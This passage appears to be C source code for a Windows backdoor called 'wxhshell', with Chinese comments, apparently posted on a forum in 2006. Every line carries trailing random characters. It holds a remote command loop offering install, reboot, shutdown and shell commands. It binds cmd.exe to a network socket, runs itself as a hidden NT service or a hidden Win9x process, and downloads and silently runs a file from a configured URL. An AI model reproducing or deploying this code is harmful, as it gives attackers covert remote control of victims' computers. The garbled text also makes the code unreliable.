  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .XJ'2yKof  
  } K^u,B3  
  else { Q(bOar5  
{R}F4k  
    switch(cmd[0]) { DB/~Z  
  q/#e6;x  
  // 帮助 4q}+8F`0F  
  case '?': { @J[@Pu O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :@((' X(".  
    break; gP2zDI   
  } tT}b_r7h(1  
  // 安装 jn<?,UABD  
  case 'i': { uX_H;,n  
    if(Install()) o(*\MT t?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `6Bx8CZ'I  
    else x4MmBVqp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5h5izA'0'  
    break; v e&d"8+]  
    } 7>N~l  
  // 卸载 |P >"a`  
  case 'r': { 'f5 8Jwql  
    if(Uninstall()) !eW1d0n'+f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K:,V>DL  
    else 2n<Mu Q]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qs&;MW4q  
    break; G4* LO  
    } m\&|#yq  
  // 显示 wxhshell 所在路径 a-{|/ n%  
  case 'p': { ingG  
    char svExeFile[MAX_PATH]; {VcRur}&Y8  
    strcpy(svExeFile,"\n\r"); =zkN63S  
      strcat(svExeFile,ExeFile); -DI >O/  
        send(wsh,svExeFile,strlen(svExeFile),0); GX>8B:]o|  
    break; m5K?oV@n  
    } 9&lemz  
  // 重启 r48|C{je-  
  case 'b': { f3K-X1`]'U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7(Fas(j3  
    if(Boot(REBOOT)) 586P~C[ic  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >8f~2dH2%  
    else { Ku(YTXtK  
    closesocket(wsh); 1d5%(:@  
    ExitThread(0); /2tA n  
    } %*R, ceuI  
    break; 19E(Hsz  
    } ^O07GYF  
  // 关机 r,6~%T0  
  case 'd': { >mb}~wx`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F&d!fEHU  
    if(Boot(SHUTDOWN)) U=Ps#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .j]tzX  
    else { j4$nr=d.6  
    closesocket(wsh); PLCm\Oh$l  
    ExitThread(0); Na0^csPm  
    } +kL7"  
    break; 6,>$Jzs)5E  
    } 3&hR#;,"X  
  // 获取shell zp}7p~#k^  
  case 's': { p<5]QV7st  
    CmdShell(wsh); Q((&Q?Vi  
    closesocket(wsh); %*D=ni#(sT  
    ExitThread(0); Qit&cnO  
    break; `16'qc  
  } 1j?P$%p  
  // 退出 Y~"tL(WfJl  
  case 'x': { gIB3DuUo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Od!)MQ*,  
    CloseIt(wsh); IWv 9!lW  
    break; pN9!  
    } z?byNd8  
  // 离开 irt9%w4"  
  case 'q': { & NYaKu,}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JW>k8QjyN  
    closesocket(wsh); CI W4E  
    WSACleanup(); 6.@.k  
    exit(1); m{IlRf'  
    break; zMSwU]4I!  
        } R{g= N%O  
  } ;K<VT\  
  } wm5&5F4:  
I}`pY3  
  // 提示信息 )N.3Q1g-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0L}`fYf  
} TU|#Pz7n-Z  
  } 2F4<3k! &  
f_c\uN@f  
  return; o,7|=.-b  
} T?8BAxC?K  
de:@/-|  
// shell模块句柄 f"Sp.'@  
int CmdShell(SOCKET sock) 0#V"   
{ be+-p  
STARTUPINFO si; 6#z8 %k aX  
ZeroMemory(&si,sizeof(si)); 6 H|SiO9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v "l).G?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u?,>yf.;s  
PROCESS_INFORMATION ProcessInfo; X!KX4H  
char cmdline[]="cmd"; Cl0kR3Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +XWTu!  
  return 0; ?_eLrz4>L^  
} FB6Lz5:Vf  
<*5S7)]BP  
// 自身启动模式 w B)y@w4k  
int StartFromService(void) ;[y( 14g  
{ gj^)T_E_  
typedef struct F_@B ` ,  
{ e{x>u(  
  DWORD ExitStatus; b|i4me@  
  DWORD PebBaseAddress; ~XR ('}5D  
  DWORD AffinityMask; |lNp0b  
  DWORD BasePriority; 72l:[5ccR  
  ULONG UniqueProcessId; }a"=K%b<\  
  ULONG InheritedFromUniqueProcessId; A$2 ;Bf  
}   PROCESS_BASIC_INFORMATION; 64'2ICf#m  
O=%Ht-kOc  
PROCNTQSIP NtQueryInformationProcess; Snkb^Kt  
ffP]U4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rN1]UaT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ; hQ[-  
j/t%7,  
  HANDLE             hProcess; 6u_i >z  
  PROCESS_BASIC_INFORMATION pbi; "Q@m7j)(  
klKUX/ g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )Xdq+$w.  
  if(NULL == hInst ) return 0; v!I z&M:z  
)@! fLA T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !oH{=.w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6 IvAs-%W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -6)nQNj|  
'Xik2PaO  
  if (!NtQueryInformationProcess) return 0; h,\{s_b  
-r *|N.5c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [8'?G5/n  
  if(!hProcess) return 0; -mO#HZIq  
q^xG%YdPz+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "M/c0`>C!i  
{IOc'W-C#2  
  CloseHandle(hProcess); -nGcm"'6F  
=-^A;AO(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x-i,v"8  
if(hProcess==NULL) return 0; S(.J  
vjX,7NY?  
HMODULE hMod; P5my]4|x  
char procName[255]; "G%S m")  
unsigned long cbNeeded; ,$`} Rf<  
t?9J'.p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "|JbdI]%P  
xoVd[c!   
  CloseHandle(hProcess); \PS]c9@,rc  
`R0~mx&6G  
if(strstr(procName,"services")) return 1; // 以服务启动 k<*v6 sNs;  
B  W*8  
  return 0; // 注册表启动 & %/p; ::A  
} K~#?Y,}O  
DOyO`TJi  
// 主模块 M4Cb(QAVP  
int StartWxhshell(LPSTR lpCmdLine) I'xc$f_+  
{ J* !_O#  
  SOCKET wsl; GP+=b:C{E  
BOOL val=TRUE; b'pwRKpx  
  int port=0; _#\Nw0{  
  struct sockaddr_in door; lL zR5445)  
< }K9 50  
  if(wscfg.ws_autoins) Install(); ]s Euh~F  
;BuMzG:tmZ  
port=atoi(lpCmdLine); &en2t=a  
|kZ!-?9Z  
if(port<=0) port=wscfg.ws_port;  8s22VL  
'=nmdqP  
  WSADATA data; zWo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @7}XBg[pI  
0d2RB^"i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rir0^XqG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l^I? @{W  
  door.sin_family = AF_INET; ~Bl,_?CBr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d>u^ 7:  
  door.sin_port = htons(port); & &CrF~  
_wXT9`|3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }V ]*FCpQ  
closesocket(wsl); L4^/O29  
return 1; 8b0j rt  
} ?5't1219  
50 w$PW  
  if(listen(wsl,2) == INVALID_SOCKET) { qt.4dTd:_  
closesocket(wsl); cEf"m ?w  
return 1; ;G`]`=s#Lq  
} H, 3Bf  
  Wxhshell(wsl); X.{xH D&_  
  WSACleanup(); 2XL^A[?   
z:S:[X 0  
return 0; `IlhLv  
+76'(@(1Y  
} ;|K }  
i;pg9Vw  
// 以NT服务方式启动 p p0356  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I]n X6=j5  
{ a;dWM(;Kw  
DWORD   status = 0; Yt*NIwWr  
  DWORD   specificError = 0xfffffff; .@x.    
bq5ySy{8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (~Bm\Jn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E uO:}[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CnuM=S:  
  serviceStatus.dwWin32ExitCode     = 0; K'2N:.D:  
  serviceStatus.dwServiceSpecificExitCode = 0; j&dCP@G  
  serviceStatus.dwCheckPoint       = 0; ()j)}F#Z`  
  serviceStatus.dwWaitHint       = 0; ,X|FyO(p  
@[joM*U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w}6~t\9D  
  if (hServiceStatusHandle==0) return; \>4>sCC  
UxMy8} w!y  
status = GetLastError(); #&uajo  
  if (status!=NO_ERROR) ?#c "wA&  
{ :$VGqvO12W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )J]NBE:8  
    serviceStatus.dwCheckPoint       = 0; IZdWEbN1  
    serviceStatus.dwWaitHint       = 0; BO}IN#  
    serviceStatus.dwWin32ExitCode     = status; EO(l?Fgw]$  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?r =`Kl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \_u{ EB'b  
    return; xBc$qjV  
  } 2.JrLBhN  
 %o/@0.w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O.#R r/+)  
  serviceStatus.dwCheckPoint       = 0; [Cd#<Te3  
  serviceStatus.dwWaitHint       = 0; |H=5Am  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n[y=DdiKGS  
} ?lqqu#;8  
uFmpc7  
// 处理NT服务事件,比如:启动、停止 b i-Am/9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k~;~i)Eg  
{ Tq* <J~-  
switch(fdwControl) JoB-&r}\V*  
{ | #a{1Z)  
case SERVICE_CONTROL_STOP: 3v$n}.  
  serviceStatus.dwWin32ExitCode = 0; 9FC_B+7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ph)=:*A6&  
  serviceStatus.dwCheckPoint   = 0; !1S!)#  
  serviceStatus.dwWaitHint     = 0; Y#):1C1  
  {  })!-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n9 bp0#K  
  } G~_eBy  
  return; ;[lLFI  
case SERVICE_CONTROL_PAUSE: >g+Y//Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ej7N5~!,s  
  break; dC4`xUv  
case SERVICE_CONTROL_CONTINUE: UCmJQJc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `6Q+N=k~Z  
  break; aA*h*  
case SERVICE_CONTROL_INTERROGATE: 0n X5Vo  
  break; 6qV1_M#  
}; ~K)FuL[*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s%#u)nw19  
} ;=%cA#}_0  
]ml'd  
// 标准应用程序主函数 }j6|+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L#D)[v"  
{ =.J>'9Q  
-q)|I|y*7  
// 获取操作系统版本 U3aM^  
OsIsNt=GetOsVer(); j^Qk\(^#IV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Re67cMQ*  
\4G9 fR4  
  // 从命令行安装 zB7 ^L^Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); u ?F},VL;  
~yngH0S$[b  
  // 下载执行文件 Zq: }SU  
if(wscfg.ws_downexe) { W }Ll)7(|T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [N*S5^>1  
  WinExec(wscfg.ws_filenam,SW_HIDE);  OvC@E]/+  
} MD;,O3Ge  
&H,UWtU+  
if(!OsIsNt) { g C8 deC8  
// 如果时win9x,隐藏进程并且设置为注册表启动 PHez5}T  
HideProc(); &a >UVs?=  
StartWxhshell(lpCmdLine); yWN'va1+$  
} 5^qs>k[mN  
else S=L#8CID  
  if(StartFromService()) BB/c5?V  
  // 以服务方式启动 LEg|R+ 6E  
  StartServiceCtrlDispatcher(DispatchTable); &RS)U72  
else ndB qXS  
  // 普通方式启动 *!NW!,R  
  StartWxhshell(lpCmdLine); 9$(N q  
otdv;xI9  
return 0; ykx13|iR  
}
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只看该作者 1 发表于: 2006-10-10
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